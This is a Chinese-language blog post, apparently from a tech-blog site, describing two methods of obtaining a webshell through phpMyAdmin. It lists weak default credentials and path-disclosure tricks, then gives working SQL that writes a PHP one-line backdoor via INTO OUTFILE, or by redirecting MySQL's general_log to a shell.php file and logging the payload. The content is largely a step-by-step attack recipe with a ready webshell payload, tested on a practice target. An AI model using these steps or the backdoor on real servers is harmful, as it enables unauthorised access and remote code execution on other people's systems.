php 调用shell读取mysql_phpMyAdmin拿shell的两种方法

一.phpMyAdmin用户名和密码

1.如何获取phpMyAdmin用户名和密码:

弱口令

root/root

root/空密码

root/123456

phpMyAdmin爆破工具

信息泄露(配置文件等)

sql注入

等等

2.网站绝对路径,如何获取网站的绝对路径呢?

单引号爆绝对路径

xx.asp?id=1’

错误参数值爆绝对路径

xx.asp?id=-1

搜索引擎搜索绝对路径

site:xxx.com error

site:xxx.com warning

site:xxx.com fatal error

测试文件获取绝对路径

phpinfo.php

test.php

ceshi.php

info.php

php_info.php

等等

二.Phpmyadmin拿shell的两种方法

1.低版本Mysql

Mysql低于5.0,可以直接通过outfile写入:

SELECT "<?php @assert($_REQUEST["admin"]);?>" INTO OUTFILE '/网站绝对路径/shell.php'

2.高版本Mysql

(1)通过以下SQL语句可以查询secure_file_priv(secure-file-priv是全局变量,指定文件夹作为导出文件存放的地方,这个值是只读的)是否为null:

show variables like '%secure%'

从下图可以看到我的靶机secure_file_priv值为null:

b16b484e76a74325eab23e93f14a1e20.png

(2)通过以下SQL语句可以查询到日志保存状态(ON代表开启 OFF代表关闭)和日志的保存路径:

show variables like '%general%'

从下图可以看到我的靶机是关闭日志保存的,还有日志保存的路径在哪:

b3cf25b57d994570405c1c6448282549.png

(3)因此通过以下SQL语句修改general_log的值,开启日志保存:

set global general_log='on';

(4)通过以下SQL语句修改日志保存的路径(general_log_file值):

SET global general_log_file='/shell.php'

(5)再次执行以下SQL语句,查询是否成功更改:

show variables like '%general%'

从下图可以看到,成功通过SQL语句修改成功了:

6a7664218d5d2773dc1c1493b98793dc.png

(6)执行以下SQL语句,以下SQL语句将会被写入到日志文件(shell.php)中:

SELECT '<?php @assert($_REQUEST["admin"]);?>';

从下图可以看到一句话木马写入了日志文件中: 通过URL访问,成功被执行了! 图片

fceaa670db74635e1273f3ab1b58dfd4.png

(7)通过URL访问,成功被执行了!

784006dd0c105e1cc8e9a239a3fd66c6.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值